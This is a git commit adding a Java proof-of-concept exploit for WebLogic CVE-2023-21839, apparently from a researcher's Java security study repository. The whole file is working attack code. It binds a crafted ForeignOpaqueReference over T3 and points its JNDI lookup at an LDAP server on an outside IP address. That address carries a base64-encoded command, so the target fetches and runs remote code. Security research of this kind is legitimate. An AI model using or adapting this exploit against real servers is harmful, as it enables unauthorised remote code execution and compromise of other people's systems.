新增 weblogic poc

Drun1baby · Drun1baby · commit 48ff03eac821 · 2024-02-19T11:29:16.000+08:00
diff --git a/JavaSecurity/Weblogic/CVE-2023-21839/CVE_2023_21839.java b/JavaSecurity/Weblogic/CVE-2023-21839/CVE_2023_21839.java
@@ -0,0 +1,43 @@
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.naming.NamingException;
+import java.lang.reflect.Field;
+import java.util.Hashtable;
+import java.util.Random;
+
+public class CVE_2023_21839 {
+    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
+    static String HOW_TO_USE="[*]exploit start";
+
+    private static InitialContext getInitialContext(String url)throws NamingException
+    {
+        Hashtable<String,String> env = new Hashtable<String,String>();
+        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
+        env.put(Context.PROVIDER_URL, url);
+        return new InitialContext(env);
+    }
+    public static void main(String args[]) throws Exception {
+        if(args.length <2){
+            System.out.println(HOW_TO_USE);
+            System.exit(0);
+        }
+        String t3Url = "localhost:7001";
+        String ldapUrl = "ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiBDYWxj";
+        InitialContext c=getInitialContext("t3://"+t3Url);
+        Hashtable<String,String> env = new Hashtable<String,String>();
+        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
+        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
+        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
+        jndiEnvironment.setAccessible(true);
+        jndiEnvironment.set(f,env);
+        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
+        remoteJNDIName.setAccessible(true);
+        remoteJNDIName.set(f,ldapUrl);
+        String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
+        try{
+            c.bind(bindName,f);
+            c.lookup(bindName);
+        }catch(Exception e){ }
+
+    }
+}
